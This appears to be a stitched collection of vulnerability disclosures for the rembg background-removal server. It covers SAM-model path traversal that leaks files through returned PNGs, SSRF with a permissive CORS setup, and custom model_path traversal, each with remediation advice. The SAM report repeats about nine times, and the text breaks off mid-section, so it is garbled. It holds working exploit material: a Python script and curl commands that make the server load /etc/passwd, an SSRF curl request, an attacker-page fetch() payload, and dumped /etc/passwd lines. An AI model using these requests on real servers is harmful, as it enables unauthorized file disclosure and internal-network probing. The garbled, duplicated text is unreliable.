The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

